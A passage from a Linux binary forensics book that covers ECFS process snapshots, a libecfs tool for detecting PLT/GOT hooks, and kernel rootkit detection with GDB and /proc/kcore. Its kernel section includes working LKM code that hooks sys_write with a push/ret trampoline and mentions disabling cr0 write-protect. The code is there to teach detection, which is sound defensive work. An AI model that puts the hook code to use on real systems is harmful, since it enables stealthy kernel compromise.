   unsigned long shl_entry_va; // the expected shared lib function 
addr
} pltgot_info_t;

An example of using this function can be found in ecfs/libecfs/main/detect_
plt_hooks.c. This is a simple demonstrative tool for detecting shared library 
injection and PLT/GOT hooks, which is shown and commented for clarity later in 
this chapter. The readecfs utility also demonstrates the use of the get_pltgot_
info() function when passed the -g flag.

The readecfs output for PLT/GOT validation
- readecfs output for file host2.7254

- Executable path (.exepath): /home/user/git/azazel/host2

- Command line: ./host2

- Printing out GOT/PLT characteristics (pltgot_info_t):

gotsite    gotvalue       gotshlib          pltval         symbol

0x601018   0x7f0a0d3c8c81  0x7f0a0d0ed070   0x4004c6      unlink

0x601020   0x7f0a0d06fe30  0x7f0a0d06fe30   0x4004d6      puts

0x601028   0x7f0a0d3c8d77  0x7f0a0d0bcef0   0x4004e6      opendir

0x601030   0x7f0a0d021dd0  0x7f0a0d021dd0   0x4004f6      __libc_start_
main
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The preceding output is easy to parse. The gotvalue should have an address that 
matches either gotshlib or pltval. We can see, however, that the very first entry, 
which is for the symbol unlink, has an address 0x7f0a0d3c8c81. This does not 
match with the expected shared library function or PLT value.

More investigation would show that the address points to a function within azazel.
so. From the preceding output, we can see that the only two functions that have not 
been tampered with are puts and __libc_start_main. For an even greater insight 
into the detection process, let's take a look at the source code for a tool that does 
automatic PLT/GOT validation as part of its detection capabilities. This tool is called 
detect_plt_hooks and was written in C. It utilizes the libecfs API to load and parse 
ECFS snapshots.

Note that the following code has approximately 50 lines of source code, which is 
quite remarkable. If we were not using ECFS or libecfs, it would take approximately 
3,000 lines of C code to accurately analyze a process image for shared library 
injection and PLT/GOT hooks. I know this because I have done it, and using  
libecfs is by far the most painless way to go about coding such tools.

Here's a code example using detect_plt_hooks.c:

#include "../include/libecfs.h"

int main(int argc, char **argv)
{
    ecfs_elf_t *desc;
    ecfs_sym_t *dsyms;
    char *progname;
    int i;
    char *libname;
    long evil_addr = 0;

    if (argc < 2) {
        printf("Usage: %s <ecfs_file>\n", argv[0]);
        exit(0);
    }
   
    /*
     * Load the ECFS file and creates descriptor
     */
    desc = load_ecfs_file(argv[1]);
    /*
     * Get the original program name
    */
    progname = get_exe_path(desc);
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    printf("Performing analysis on '%s' which corresponds to  
    executable: %s\n", argv[1], progname);

    /*
     * Look for any sections that are marked as INJECTED
     * or PRELOADED, indicating shared library injection
     * or ELF object injection.
     */
    for (i = 0; i < desc->ehdr->e_shnum; i++) {
        if (desc->shdr[i].sh_type == SHT_INJECTED) {
            libname = strdup(&desc->shstrtab[desc->shdr[i].sh_name]);
            printf("[!] Found malicously injected ET_DYN (Dynamic  
            ELF): %s - base: %lx\n", libname, desc->shdr[i].sh_addr);
        } else
        if (desc->shdr[i].sh_type == SHT_PRELOADED) {
            libname =  
            strdup(&desc->shstrtab[desc->shdr[i].sh_name]);
            printf("[!] Found a preloaded shared library  
            (LD_PRELOAD): %s - base: %lx\n", libname,  
            desc->shdr[i].sh_addr);
        }
    }
    /*
     * Load and validate the PLT/GOT to make sure that each
     * GOT entry points to its proper respective location
     * in either the PLT, or the correct shared lib function.
     */
    pltgot_info_t *pltgot;
    int gotcount = get_pltgot_info(desc, &pltgot);
    for (i = 0; i < gotcount; i++) {
        if (pltgot[i].got_entry_va != pltgot[i].shl_entry_va &&
            pltgot[i].got_entry_va != pltgot[i].plt_entry_va &&
            pltgot[i].shl_entry_va != 0) {
            printf("[!] Found PLT/GOT hook: A function is pointing  
            at %lx instead of %lx\n",
                pltgot[i].got_entry_va, evil_addr =  
                pltgot[i].shl_entry_va);
     /*
      * Load the dynamic symbol table to print the
      * hijacked function by name.
      */
            int symcount = get_dynamic_symbols(desc, &dsyms);
            for (i = 0; i < symcount; i++) {
                if (dsyms[i].symval == evil_addr) {
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                    printf("[!] %lx corresponds to hijacked  
                    function: %s\n", dsyms[i].symval,  
                    &dsyms[i].strtab[dsyms[i].nameoffset]);
                break;
                }
            }
        }
    }
    return 0;
}

The ECFS reference guide
The ECFS file format is both simple and complicated! The ELF file format is complex 
in general, and ECFS inherits those complexities from a structural point of view. On 
the other side of the token, ECFS helps make navigating a process image quite easy if 
you know what specific features it has and what to look for.

In previous sections, we gave some real-life examples of utilizing ECFS that 
demonstrated many of its primary features. However, it is also important to have a 
simple and direct reference to what those characteristics are, such as which custom 
sections exist and what exactly they mean. In this section, we will provide a reference 
for the ECFS snapshot files.

ECFS symbol table reconstruction
The ECFS handler uses advanced understanding of the ELF binary format and  
even the dwarf debugging format—specifically with the dynamic segment and the 
GNU_EH_FRAME segment—to fully reconstruct the symbol tables of the program. Even 
if the original binary has been stripped and has no section headers, the ECFS handler 
is intelligent enough to rebuild the symbol tables.

I have personally never encountered a situation where symbol table reconstruction 
failed completely. It usually reconstructs all or most symbol table entries. The symbol 
tables can be accessed using a utility such as readelf or readecfs. The libecfs API 
also has several functions:

int get_dynamic_symbols(ecfs_elf_t *desc, ecfs_sym_t **syms)
int get_local_symbols(ecfs_elf_t *desc, ecfs_sym_t **syms)

One function gets the dynamic symbol table and the other gets the local symbol 
table—.dynsym and .symtab, respectively.
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The following is the reading symbol table with readelf:

$ readelf -s host.6758

Symbol table '.dynsym' contains 8 entries:

   Num:    Value          Size Type    Bind   Vis      Ndx Name

     0: 00007f3dfd48b000     0 NOTYPE  LOCAL  DEFAULT  UND

     1: 00007f3dfd4f9730     0 FUNC    GLOBAL DEFAULT  UND fputs

     2: 00007f3dfd4acdd0     0 FUNC    GLOBAL DEFAULT  UND __libc_start_
main

     3: 00007f3dfd4f9220     0 FUNC    GLOBAL DEFAULT  UND fgets

     4: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND __gmon_start__

     5: 00007f3dfd4f94e0     0 FUNC    GLOBAL DEFAULT  UND fopen

     6: 00007f3dfd54bd00     0 FUNC    GLOBAL DEFAULT  UND sleep

     7: 00007f3dfd84a870     8 OBJECT  GLOBAL DEFAULT   25 stdout

Symbol table '.symtab' contains 5 entries:

   Num:    Value          Size Type    Bind   Vis      Ndx Name

     0: 00000000004004f0   112 FUNC    GLOBAL DEFAULT   10 sub_4004f0

     1: 0000000000400560    42 FUNC    GLOBAL DEFAULT   10 sub_400560

     2: 000000000040064d   138 FUNC    GLOBAL DEFAULT   10 sub_40064d

     3: 00000000004006e0   101 FUNC    GLOBAL DEFAULT   10 sub_4006e0

     4: 0000000000400750     2 FUNC    GLOBAL DEFAULT   10 sub_400750

ECFS section headers
The ECFS handler reconstructs most of the original section headers that a program 
may have had. It also adds quite a few new sections and section types that can be 
very useful for forensic analysis. Section headers are identified by both name and 
type and contain data or code.
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Parsing section headers is very easy, and therefore they are very useful for creating 
a map of the process memory image. Navigating the entire process layout through 
section headers is a lot easier than having only program headers (such as with 
regular core files), which don't even have string names. The program headers are 
what describe the segments of memory, and the section headers are what give 
context to each part of a given segment. Section headers help give a much higher 
resolution to the reverse engineer.

Section header Description
._TEXT This points to the text segment (not the .text section). This makes 

locating the text segment possible without having to parse the 
program headers.

._DATA This points to the data segment (not the .data section). This makes 
locating the data segment possible without having to parse the 
program headers.

.stack This points to one of several possible stack segments depending on 
the number of threads. Without a section named .stack, it would 
be far more difficult to know where the actual stack of the process is. 
You would have to look at the value of the %rsp register and then see 
which program header segments contain address ranges that match 
the stack pointer value.

.heap Similar to the .stack section, this points to the heap segment, also 
making identification of the heap much easier, especially on systems 
where ASLR moves the heap to random locations. On older systems, 
it was always extended from the data segment.

.bss This section is not new with ECFS. The only reason it is mentioned 
here is that with an executable or shared library, the .bss section 
contains nothing, since uninitialized data takes up no space on disk. 
ECFS represents the memory, however, and the .bss section is not 
actually created until runtime. The ECFS files have a .bss section 
that actually reflects the uninitialized data variables being used by  
the process.

.vdso This points to the [vdso] segment that is mapped into every Linux 
process containing code that is necessary for certain glibc system 
call wrappers to invoke the real system call.

.vsyscall Similar to the .vdso code, the .vsyscall page contains code for 
invoking only a handful of virtual system calls. It has been kept 
around for backwards compatibility. It may prove useful to know  
this location during reverse engineering.
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Section header Description
.procfs.tgz This section contains the entire directory structure and files for the  

/proc/$pid of the process that was captured by the ECFS handler. 
If you are an avid forensic analyst or programmer, then you probably 
already know how useful the information contained in the proc 
filesystem is. There are well over 300 files within /proc/$pid for  
a single process.

.prstatus This section contains an array of struct elf_prstatus structures. 
Very important information pertaining to the state of the process  
and its registers is stored in these structures:
struct elf_prstatus
  {
    struct elf_siginfo pr_info;         /* Info 
associated with signal.  */
    short int pr_cursig;                /* Current 
signal.  */
    unsigned long int pr_sigpend;       /* Set of 
pending signals.  */
    unsigned long int pr_sighold;       /* Set of 
held signals.  */
    __pid_t pr_pid;
    __pid_t pr_ppid;
    __pid_t pr_pgrp;
    __pid_t pr_sid;
    struct timeval pr_utime;            /* User 
time.  */
    struct timeval pr_stime;            /* System 
time.  */
    struct timeval pr_cutime;           /* 
Cumulative user time.  */
    struct timeval pr_cstime;           /* 
Cumulative system time.  */
    elf_gregset_t pr_reg;               /* GP 
registers.  */
    int pr_fpvalid;                     /* True if 
math copro being used.  */
  };
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Section header Description
.fdinfo This section contains ECFS custom data that describes the file 

descriptors, sockets, and pipes being used for the processes' open 
files, network connections, and inter-process communication. The 
header file, ecfs.h, defines the fdinfo_t type:
typedef struct fdinfo {
        int fd;
        char path[MAX_PATH];
        loff_t pos;
        unsigned int perms;
        struct {
                struct in_addr src_addr;
                struct in_addr dst_addr;
                uint16_t src_port;
                uint16_t dst_port;
        } socket;
        char net;
} fd_info_t;

The readecfs utility parses and displays the file descriptor 
information nicely, as shown when looking at an ECFS snapshot for 
sshd:

        [fd: 0:0] perms: 8002 path: /dev/null
        [fd: 1:0] perms: 8002 path: /dev/null
        [fd: 2:0] perms: 8002 path: /dev/null
        [fd: 3:0] perms: 802 path: socket:[10161]
        PROTOCOL: TCP
        SRC: 0.0.0.0:22
        DST: 0.0.0.0:0

        [fd: 4:0] perms: 802 path: socket:[10163]
        PROTOCOL: TCP
        SRC: 0.0.0.0:22
        DST: 0.0.0.0:0

.siginfo This section contains signal-specific information, such as what 
signal killed the process, or what the last signal code was before 
the snapshot was taken. The siginfo_t struct is stored in this 
section. The format of this struct can be seen in /usr/include/
bits/siginfo.h.

.auxvector This contains the actual auxiliary vector from the bottom of the stack 
(the highest memory address). The auxiliary vector is set up by the 
kernel at runtime, and it contains information that is passed to the 
dynamic linker at runtime. This information may prove valuable in a 
number of ways to the advanced forensic analyst.
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Section header Description
.exepath This holds the string of the original executable path that was invoked 

for this process, that is, /usr/sbin/sshd.
.personality This contains personality information, that is, ECFS personality 

information. An 8-byte unsigned integer can be set with any number 
of personality flags:
#define ELF_STATIC (1 << 1) // if it's statically 
linked (instead of dynamically)
#define ELF_PIE (1 << 2)    // if it's a PIE 
executable
#define ELF_LOCSYM (1 << 3) // was a .symtab symbol 
table created by ecfs?
#define ELF_HEURISTICS (1 << 4) // were detection 
heuristics used by ecfs?
#define ELF_STRIPPED_SHDRS (1 << 8) // did the 
binary have section headers?

.arglist Contains the original 'char **argv' stored as an array in this 
section.

Using an ECFS file as a regular core file
The ECFS core file format is essentially backward compatible with regular Linux 
core files, and can therefore be used as core files for debugging with GDB in the 
traditional way.

The ELF file header for ECFS files has its e_type (ELF type) set to ET_NONE instead of 
ET_CORE, however. This is because core files are not expected to have section headers 
but ECFS files do have section headers, and to make sure that they are acknowledged 
by certain utilities such as objdump, objcopy, and so on, we have to mark them as 
files other than CORE files. The quickest way to toggle the ELF type in an ECFS file is 
with the et_flip utility that comes with the ECFS software suite.

Here's an example of using GDB with an ECFS core file:

$ gdb -q /usr/sbin/sshd sshd.1195
Reading symbols from /usr/sbin/sshd...(no debugging symbols found)...
done.
"/opt/ecfs/cores/sshd.1195" is not a core dump: File format not 
recognized
(gdb) quit
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Then, the following is an example of changing the ELF file type to ET_CORE and  
trying again:

$ et_flip sshd.1195

$ gdb -q /usr/sbin/sshd sshd.1195

Reading symbols from /usr/sbin/sshd...(no debugging symbols found)...
done.

[New LWP 1195]

[Thread debugging using libthread_db enabled]

Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_
db.so.1".

Core was generated by `/usr/sbin/sshd -D'.

Program terminated with signal SIGSEGV, Segmentation fault.

#0  0x00007ff4066b8d83 in __select_nocancel () at ../sysdeps/unix/
syscall-template.S:81

81  ../sysdeps/unix/syscall-template.S: No such file or directory.

(gdb)

The libecfs API and how to use it
The libecfs API is the key component for integrating ECFS support into your 
malware analysis and reverse engineering tools for Linux. There is too much to 
document on this library to put into a single chapter of this book. I recommend  
that you use the manual that is still growing right alongside the project itself:

https://github.com/elfmaster/ecfs/blob/master/Documentation/libecfs_
manual.txt

Process necromancy with ECFS
Have you ever wanted to be able to pause and resume a process in Linux? After 
designing ECFS, it quickly became apparent that they contained enough information 
about the process and its state to relaunch them back into memory so that they can 
begin execution where they last left off. This feature has many possible use cases and 
demands more research and development.

Currently, the implementation for ECFS snapshot execution is basic and can  
only handle simple processes. At the time of writing this chapter, it can restore  
file streams but not sockets or pipes, and can only handle single-threaded processes. 
The software for executing an ECFS snapshot can be found on GitHub at  
https://github.com/elfmaster/ecfs_exec.

https://github.com/elfmaster/ecfs/blob/master/Documentation/libecfs_manual.txt
https://github.com/elfmaster/ecfs/blob/master/Documentation/libecfs_manual.txt
https://github.com/elfmaster/ecfs_exec
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Here's an example of snapshot execution:

$ ./print_passfile

root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

bin:x:2:2:bin:/bin:/usr/sbin/nologin

sys:x:3:3:sys:/dev:/usr/sbin/nologin

sync:x:4:65534:sync:/bin:/bin/sync

games:x:5:60:games:/usr/games:/usr/sbin/nologin

man:x:6:12:man:/var/cache/man:/usr/sbin/nologin

lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin

– interrupted by snapshot -

We now have the ECFS snapshot file print_passfile.6627 (Where 6627 is the process ID). 
We will use ecfs_exec to execute this snapshot, and it should begin where it left off:

$ ecfs_exec ./print_passfile.6627

[+] Using entry point: 7f79a0473f20

[+] Using stack vaddr: 7fff8c752738

mail:x:8:8:mail:/var/mail:/usr/sbin/nologin

news:x:9:9:news:/var/spool/news:/usr/sbin/nologin

uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin

proxy:x:13:13:proxy:/bin:/usr/sbin/nologin

www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

backup:x:34:34:backup:/var/backups:/usr/sbin/nologin

list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin

irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/
sbin/nologin

nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

syslog:x:101:104::/home/syslog:/bin/false

messagebus:x:102:106::/var/run/dbus:/bin/false

usbmux:x:103:46:usbmux daemon,,,:/home/usbmux:/bin/false

dnsmasq:x:104:65534:dnsmasq,,,:/var/lib/misc:/bin/false

avahi-autoipd:x:105:113:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/
bin/false

kernoops:x:106:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false

saned:x:108:115::/home/saned:/bin/false

whoopsie:x:109:116::/nonexistent:/bin/false
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speech-dispatcher:x:110:29:Speech Dispatcher,,,:/var/run/speech-
dispatcher:/bin/sh

avahi:x:111:117:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false

lightdm:x:112:118:Light Display Manager:/var/lib/lightdm:/bin/false

colord:x:113:121:colord colour management daemon,,,:/var/lib/colord:/bin/
false

hplip:x:114:7:HPLIP system user,,,:/var/run/hplip:/bin/false

pulse:x:115:122:PulseAudio daemon,,,:/var/run/pulse:/bin/false

statd:x:116:65534::/var/lib/nfs:/bin/false

guest-ieu5xg:x:117:126:Guest,,,:/tmp/guest-ieu5xg:/bin/bash

sshd:x:118:65534::/var/run/sshd:/usr/sbin/nologin

gdm:x:119:128:Gnome Display Manager:/var/lib/gdm:/bin/false

That is a very simple demonstration of how ecfs_exec works. It uses the file 
descriptor information from the .fdinfo section to learn the file descriptor number, 
file path, and file offset. It also uses the .prstatus and .fpregset sections to learn 
the register state so that it can resume execution from where it left off.

Learning more about ECFS
The extended core file snapshot technology, ECFS, is still relatively new. I presented 
on it at defcon 23 (https://www.defcon.org/html/defcon-23/dc-23-speakers.
html#O%27Neill), and the word is still spreading. Hopefully, a community will 
evolve and more people will begin adopting ECFS for their daily forensics work and 
tools. Nonetheless, at this point, there are several resources for ECFS in existence:

The official GitHub page: https://github.com/elfmaster/ecfs

• The original white paper (outdated): http://www.leviathansecurity.
com/white-papers/extending-the-elf-core-format-for-forensics-
snapshots

• An article from POC || GTFO 0x7: Innovations with core files,  
https://speakerdeck.com/ange/poc-gtfo-issue-0x07-1

Summary
In this chapter, we covered the basics of the ECFS snapshot technology and the 
snapshot format. We experimented with ECFS using several real-life forensic 
examples, and even wrote a tool that detects shared library injection and PLT/GOT 
hooks using the libecfs C library. In the next chapter, we will jump out of userland 
and explore the Linux kernel, the layout of vmlinux, and a combination of kernel 
rootkit and forensic techniques.

https://www.defcon.org/html/defcon-23/dc-23-speakers.html#O%27Neill
https://www.defcon.org/html/defcon-23/dc-23-speakers.html#O%27Neill
https://github.com/elfmaster/ecfs
http://www.leviathansecurity.com/white-papers/extending-the-elf-core-format-for-forensics-snapshots
http://www.leviathansecurity.com/white-papers/extending-the-elf-core-format-for-forensics-snapshots
http://www.leviathansecurity.com/white-papers/extending-the-elf-core-format-for-forensics-snapshots
https://speakerdeck.com/ange/poc-gtfo-issue-0x07-1
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Linux /proc/kcore Analysis
So far, we have covered Linux binaries and memory as it pertains to userland. This 
book won't be complete, however, if we don't spend a chapter on the Linux kernel. 
This is because it is actually an ELF binary as well. Similar to how a program is 
loaded into memory, the Linux kernel image, also known as vmlinux, is loaded 
into memory at boot time. It has a text segment and a data segment, overlaid with 
many section headers that are very specific to the kernel, and which you won't see 
in userland executables. We will also briefly cover LKMs in this chapter, as they are 
ELF files too.

Linux kernel forensics and rootkits
It is important to learn the layout of the Linux kernel image if you want to be a true 
master of kernel forensics in Linux. Attackers can modify the kernel memory to 
create very sophisticated kernel rootkits. There are quite a number of techniques out 
there for infecting a kernel at runtime. To list a few, we have the following:

• A sys_call_table infection
• Interrupt handler patching
• Function trampolines
• Debug register rootkits
• Exception table infection
• Kprobe instrumentation
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The techniques listed here are the primary methods that are most commonly used 
by a kernel rootkit, which usually infects the kernel in the form of an LKM (short 
for Loadable Kernel Module). Getting an understanding of each technique and 
knowing where each infection resides within the Linux kernel and where to look 
in the memory are paramount to being able to detect this insidious class of Linux 
malware. Firstly, however, let's take a step back and see what we have to work 
with. Currently, there are a number of tools in the market and in the open source 
world that are capable of detecting kernel rootkits and help in searches for memory 
infections. We will not be discussing those. We will, however, be discussing methods 
that are taken from kernel Voodoo. Kernel Voodoo is a project of mine that is 
still mostly private, with the exception of releasing a few components of it to the 
public, such as taskverse. This will be discussed later in this chapter, with a link to 
download it from. It uses some very practical techniques for detecting almost any 
type of kernel infection. The software is based on ideas from my original work, 
named Kernel Detective, which was designed in 2009, and for the curious, it can  
still be found on my website at http://www.bitlackeys.org/#kerneldetective.

This software works on older 32-bit Linux kernels (2.6.0 to 2.6.32) only; 64-bit 
support was only partially completed. Some of the ideas from this project were 
timeless, however, and I extracted them recently and coupled them with some new 
ideas. The result is Kernel Voodoo, a host intrusion detection system, and kernel 
forensics software that relies on /proc/kcore for advanced memory acquisition  
and analysis. In this chapter, we are going to discuss some of the fundamental 
techniques that it uses, and in some cases, we will employ them manually with  
GDB and /proc/kcore.

stock vmlinux has no symbols
Unless you have compiled your own kernel, you will not have a readily accessible 
vmlinux, which is an ELF executable. Instead, you will have a compressed kernel in 
/boot, usually named vmlinuz-<kernel_version>. This compressed kernel image 
can be decompressed, but the result is a kernel executable that has no symbol table. 
This poses a problem for forensics analysts or kernel debugging with GDB. The 
solution for most people in this case is to hope that their Linux distribution has a 
special package with their kernel version having  debug symbols. If so, then they can 
download a copy of their kernel that has symbols from the distribution repository. 
In many cases, however, this is not possible, or not convenient for one reason or 
another. Nonetheless, this problem can be remedied with a custom utility that I 
designed and released in 2014. This tool is called kdress, because it dresses the  
kernel symbol table. 

http://www.bitlackeys.org/#kerneldetective
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Actually, it is named after an old tool by Michael Zalewskis, called dress. That tool 
would dress a static executable with a symbol table. This name originates from the 
fact that people run a program called strip to remove symbols from an executable, 
and therefore "dress" is an appropriate name for a tool that rebuilds the symbol table. 
Our tool, kdress, simply takes information about symbols from either the System.
map file or /proc/kallsyms depending on whichever is more readily available.  
Then, it reconstructs that information into the kernel executable by creating a  
section header for the symbol table. This tool can be found on my GitHub profile  
at https://github.com/elfmaster/kdress.

Building a proper vmlinux with kdress
Here is an example that shows how to use the kdress utility to build a vmlinux image 
that can be loaded with GDB:

Usage: ./kdress vmlinuz_input vmlinux_output <system.map>

$ ./kdress /boot/vmlinuz-`uname -r` vmlinux /boot/System.map-`uname -r`

[+] vmlinux has been successfully extracted

[+] vmlinux has been successfully instrumented with a complete ELF symbol 
table.

The utility has created an output file called vmlinux, which has a fully reconstructed 
symbol table. If, for example, we want to locate the sys_call_table in the kernel, 
then we can easily find it:

$ readelf -s vmlinux | grep sys_call_table

 34214: ffffffff81801460  4368 OBJECT  GLOBAL DEFAULT    4 sys_call_table

 34379: ffffffff8180c5a0  2928 OBJECT  GLOBAL DEFAULT    4 ia32_sys_call_
table

Having a kernel image with symbols is very important for both debugging and 
forensic analysis. Nearly all forensics on the Linux kernel can be done with GDB  
and /proc/kcore.

/proc/kcore and GDB exploration
The /proc/kcore technique is an interface for accessing kernel memory, and is 
conveniently in the form of an ELF core file that can be easily navigated with GDB.

Using GDB with /proc/kcore is a priceless technique that can be expanded to very 
in-depth forensics for the skilled analyst. Here is a brief example that shows how to 
navigate sys_call_table.

https://github.com/elfmaster/kdress
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An example of navigating sys_call_table
$ sudo gdb -q vmlinux /proc/kcore

Reading symbols from vmlinux...

[New process 1]

Core was generated by `BOOT_IMAGE=/vmlinuz-3.16.0-49-generic root=/dev/
mapper/ubuntu--vg-root ro quiet'.

#0  0x0000000000000000 in ?? ()

(gdb) print &sys_call_table

$1 = (<data variable, no debug info> *) 0xffffffff81801460 <sys_call_
table>

(gdb) x/gx &sys_call_table

0xffffffff81801460 <sys_call_table>:  0xffffffff811d5260

(gdb) x/5i 0xffffffff811d5260

   0xffffffff811d5260 <sys_read>:  data32 data32 data32 xchg %ax,%ax

   0xffffffff811d5265 <sys_read+5>:  push   %rbp

   0xffffffff811d5266 <sys_read+6>:  mov    %rsp,%rbp

   0xffffffff811d5269 <sys_read+9>:  push   %r14

   0xffffffff811d526b <sys_read+11>:mov    %rdx,%r14

In this example, we can look at the first pointer held in sys_call_table[0] and 
determine that it contains the address of the syscall function sys_read. We can then 
look at the first five instructions of that syscall. This is an example of how easy it is 
to navigate kernel memory using GDB and /proc/kcore. If there had been a kernel 
rootkit installed that hooked sys_read with function trampolines, then displaying 
the first few instructions would have shown a jump or return to another malicious 
function. Using a debugger in this manner to detect kernel rootkits is very useful if 
you know what to look for. The structural nuances of the Linux kernel and how it 
may be infected are advanced topics and seem esoteric to many people. One chapter 
is not enough to fully demystify all of this, but we will cover the methods that may 
be used to infect the kernel and detect the infections. In the following sections, I will 
discuss a few approaches used to infect the kernel from a general standpoint, while 
giving some examples.

Using just GDB and /proc/kcore, it is possible to detect every type of 
infection that is mentioned throughout this chapter. Tools such as kernel 
Voodoo are very nice and convenient but are not absolutely necessary to 
detect deviations from a normally operating kernel.
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Direct sys_call_table modifications
Traditional kernel rootkits, such as adore and phalanx, worked by overwriting 
pointers in sys_call_table so that they would point to a replacement function, 
which would then call the original syscall as needed. This was accomplished by 
either an LKM or a program that modified the kernel through /dev/kmem or /dev/
mem. On today's Linux systems, for security reasons, these writable windows into 
memory are disabled or are no longer capable of anything but read operations 
depending on how the kernel is configured. There have been other ways of trying to 
prevent this type of infection, such as marking sys_call_table as const so that it is 
stored in the .rodata section of the text segment. This can be bypassed by marking 
the corresponding PTE (short for Page Table Entry) as writeable, or by disabling the 
write-protect bit in the cr0 register. Therefore, this type of infection is a very reliable 
way to make a rootkit even today, but it is also very easily detected.

Detecting sys_call_table modifications
To detect sys_call_table modifications, you may look at the System.map file or  
/proc/kallsyms to see what the memory address of each system call should be.  
For instance, if we want to detect whether or not the sys_write system call has been 
infected, we need to learn the legitimate address of sys_write and its index within 
the sys_call_table, and then validate that the correct address is actually stored 
there in memory using GDB and /proc/kcore.

An example of validating the integrity of a syscall
$ sudo grep sys_write /proc/kallsyms

ffffffff811d5310 T sys_write

$ grep _write /usr/include/x86_64-linux-gnu/asm/unistd_64.h

#define __NR_write 1

$ sudo gdb -q vmlinux /proc/kcore

(gdb) x/gx &sys_call_table+1

0xffffffff81801464 <sys_call_table+4>:  0x811d5310ffffffff

Remember that numbers are stored in little endian on x86 architecture. The value at 
sys_call_table[1] is equivalent to the correct sys_write address as looked up in 
/proc/kallsyms. We have therefore successfully verified that the sys_call_table 
entry for sys_write has not been tampered with.
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Kernel function trampolines
This technique was originally introduced by Silvio Cesare in 1998. The idea was to 
be able to modify syscalls without having to touch sys_call_table, but the truth 
is that this technique allows any function in the kernel to be hooked. Therefore, it is 
very powerful. Since 1998, a lot has changed; the kernels text segments can no longer 
be modified without disabling the write-protect bit in cr0 or modifying a PTE. The 
main issue, however, is that most modern kernels use SMP, and kernel function 
trampolines are unsafe because they use non-atomic operations such as memcpy() 
every time the patched function is called. As it turns out, there are methods for 
circumventing this problem as well, using a technique that I will not discuss here. 
The real point is that kernel function trampolines are actually still being used, and 
therefore understanding them is still quite important.

It is considered a safer technique to patch the individual call 
instructions that invoke the original function so that they invoke 
the replacement function instead. This method can be used as an 
alternative to function trampolines, but it may be arduous to find 
every single call, and this often changes from kernel to kernel. 
Therefore, this method is not as portable.

Example of function trampolines
Imagine you want to hijack syscall SYS_write and do not want to worry about 
modifying sys_call_table directly since it is easily detectable. This can be 
accomplished by overwriting the first 7 bytes of the sys_write code with a  
stub that contains code for jumping to another function.

An example code for hijacking sys_write on  
a 32-bit kernel

#define SYSCALL_NR __NR_write

static char syscall_code[7];
static char new_syscall_code[7] =
"\x68\x00\x00\x00\x00\xc3"; // push $addr; ret

// our new version of sys_write
int new_syscall(long fd, void *buf, size_t len)
{
        printk(KERN_INFO "I am the evil sys_write!\n");
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        // Replace the original code back into the first 6
        // bytes of sys_write (remove trampoline)
         
        memcpy(
       sys_call_table[SYSCALL_NR], syscall_code,
                sizeof(syscall_code)
        );

        // now we invoke the original system call with no  
        trampoline
        ((int (*)(fd, buf, len))sys_call_table[SYSCALL_NR])(fd,  
        buf, len);
        
        // Copy the trampoline back in place!
        memcpy(
                sys_call_table[SYSCALL_NR], new_syscall_code,
                sizeof(syscall_code)
        );
}

int init_module(void)
{
        // patch trampoline code with address of new sys_write
        *(long *)&new_syscall_code[1] = (long)new_syscall;
         
        // insert trampoline code into sys_write
        memcpy(
                syscall_code, sys_call_table[SYSCALL_NR],
                sizeof(syscall_code)
        );
        memcpy(
                sys_call_table[SYSCALL_NR], new_syscall_code,
                sizeof(syscall_code)
        );
        return 0;
}

void cleanup_module(void)
{
        // remove infection (trampoline)
        memcpy(
                sys_call_table[SYSCALL_NR], syscall_code,
                sizeof(syscall_code)
        );
}
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This code example replaces the first 6 bytes of sys_write with a push; ret stub, 
which pushes the address of the new sys_write function onto the stack and returns 
to it. The new sys_write function can then do any sneaky stuff it wants to, although 
in this example we only print a message to the kernel log buffer. After it has done 
the sneaky stuff, it must remove the trampoline code so that it can call untampered 
sys_write, and finally it puts the trampoline code back in place.

Detecting function trampolines
Typically, function trampolines will overwrite part of the procedure prologue 
(the first 5 to 7 bytes) of the function that they are hooking. So, to detect function 
trampolines within any kernel function or syscall, you should inspect the first 5 to  
7 bytes and look for code that jumps or returns to another address. Code like this  
can come in a variety of forms. Here are a few examples.

An example with the ret instruction
Push the target address onto the stack and return to it. This takes up 6 bytes of 
machine code when a 32-bit target address is used:

push $address
ret

An example with indirect jmp
Move the target address into a register for an indirect jump. This takes 7 bytes of 
code when a 32-bit target address is used:

movl $addr, %eax
jmp *%eax

An example with relative jmp
Calculate the offset and perform a relative jump. This takes 5 bytes of code when  
a 32-bit offset is used:

jmp offset

If, for instance, we want to validate whether or not the sys_write syscall has been 
hooked with a function trampoline, we can simply examine its code to see whether 
the procedure prologue is still in place:

$ sudo grep sys_write /proc/kallsyms

0xffffffff811d5310

$ sudo gdb -q vmlinux /proc/kcore
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Reading symbols from vmlinux...

[New process 1]

Core was generated by `BOOT_IMAGE=/vmlinuz-3.16.0-49-generic root=/dev/
mapper/ubuntu--vg-root ro quiet'.

#0  0x0000000000000000 in ?? ()

(gdb) x/3i 0xffffffff811d5310

   0xffffffff811d5310 <sys_write>:  data32 data32 data32 xchg %ax,%ax

   0xffffffff811d5315 <sys_write+5>:  push   %rbp

   0xffffffff811d5316 <sys_write+6>:  mov    %rsp,%rbp

The first 5 bytes are actually serving as NOP instructions for alignment (or possibly 
space for ftrace probes). The kernel uses certain sequences of bytes (0x66, 0x66, 0x66, 
0x66, and 0x90). The procedure prologue code follows the initial 5 NOP bytes, and is 
perfectly intact. Therefore, this validates that sys_write syscall has not been hooked 
with any function trampolines.

Interrupt handler patching – int 0x80, syscall
One classic way of infecting the kernel is by inserting a phony system call table into 
the kernel memory and modifying the top-half interrupt handler that is responsible 
for invoking syscalls. In an x86 architecture, the interrupt 0x80 is deprecated and 
has been replaced with a special syscall/sysenter instruction for invoking system 
calls. Both syscall/sysenter and int 0x80 end up invoking the same function, named 
system_call(), which in-turn calls the selected syscall within sys_call_table:

(gdb) x/i system_call_fastpath+19
